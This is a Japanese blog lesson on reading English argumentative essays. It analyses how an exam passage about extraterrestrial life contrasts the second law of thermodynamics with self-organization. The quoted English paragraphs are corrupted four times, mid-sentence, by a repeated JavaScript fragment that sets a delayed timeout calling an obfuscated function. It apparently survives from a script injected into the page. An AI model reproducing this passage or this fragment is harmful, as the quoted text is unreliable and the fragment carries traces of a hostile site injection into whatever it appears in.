英語評論文の読解のススメ3 2項対立の把握

英語評論文読解3回目です。今回は、前回の続きで第2、第3パラグラフの論理構成の把握を行います。

評論文は群馬大学で出た長文を使用します。著作権の関係から全文掲載は致しません。
阿佐ヶ谷塾という塾で長文が公開されているので、長文はこちらから御覧ください。

元々はTIMEに乗っていた記事となります。リンク先はここです。
入試問題はこのTIMEの記事を一部抜粋したもののようです。
今回は、第1パラグラフのみ、引用という形で使いたいと思います。


第2パラグラフ

まず、第2パラグラフから見ていきましょう。ここでは、既に文章構成に応じて色塗りをしています。

Traditionally, biologists believed that life is an accidental happening ―
the result of an extremely rare chemical event. It follows that the
likelihood of its happening again elsewhere in the cosmos is almost zero. This
viewpoint derives from the second law of thermodynamics,* which predicts that
the universe is dying ― slowly and inevitably moving dom()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toward a state of dom()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}total
chaos. Life resists this trend only because it is a statistical oddity.*
There is, however, a contrary view ― one that is gaining strength and
directly challenges orthodox biology. It is that complexity can emerge
spontaneously through a process of self-organization. If matter and energy
have an inbuilt tendency dom()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to amplify and channel organized complexity, the
odds* against the formation of life and the subsequent evolution of
intelligence could be drastically shortened.

THE HARMONY OF THE SPHERES

第3パラグラフ

The relationship of self-organization dom()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to biology remains hotly debated. It
suggests, however, that although the universe as a whole may be dying, an
opposite, progressive trend may also exist as a fundamental property of
nature. The emergence of extraterrestrial life, particularly intelligent life,
is a key test for these rival views.

THE HARMONY OF THE SPHERES

1:remains hotly debatedをチェック

第2パラグラフで拾ったキーワードのself-organizationはhotly debatedです。今も議論が熱い内容だそうなので、 チェックしておきましょう。

2:however+although+an oppositeをチェック

逆説のhowever, 譲歩のalthough, 対比のan oppositeがあるこの文は重要度の重みが高いです。

特に譲歩のalthoughがあるので、an opposite以降の文章の方が重要度が高いです

3:progressive trend = self-organization であることを把握する

an opposite の後にあるprogressive trend が何を指すのかをきちんと捉えましょう。

although の後ろにあるuniverse as a whole may be dying =宇宙が死ぬ は第2パラグラフで出てきます。そう、second law of thermodynamics の説明で出てきていました。

それに対する対比であること、self-organizationは現在形でhotly debatedであることを踏まえると、明らかにprogressive trend = self-organizationであることが分かるかと思います(正確にはprogressive trend = self-organization とbiology の関係)。そして、althoughという譲歩を表す単語があるので、筆者はこちらの論に重きをおいているという事実を踏まえておきましょう。

4:キーワード=地球外生命体の発見はkey test

最終文にkey test とあります。今回のキーワードであるThe emergence of extraterrestrial lifeは鍵となるテストだそうです。後ろを見ると these rival viewsと書いてあります。ライバルなので、上で示した2つの対比された見方に対して地球外生命体の存在の有無が重要であるということのようです。

まとめ:対比を抑え、論理構成を理解する

1:テーマ(The emergence of extraterrestrial life)に関して2つの科学的な意見が対比し述べられている

2:前者を表す単語がsecond law of thermodynamics で後者を表す単語がself-organization

3:前者のsecond law of thermodynamics universe is dyingというネガティブな言葉が述べられている

4:筆者が重きを置いているのは後者のself-organizationの方である

5:テーマのThe emergence of extraterrestrial lifeが重要である理由は、2つの視点の正しさをテストするKeyとなるから

現状では第1パラグラフ以外の英文読まず、単語を拾っているだけですが、それでもこの程度の情報を取得することができます。

続きは次回で行いたいと思います。

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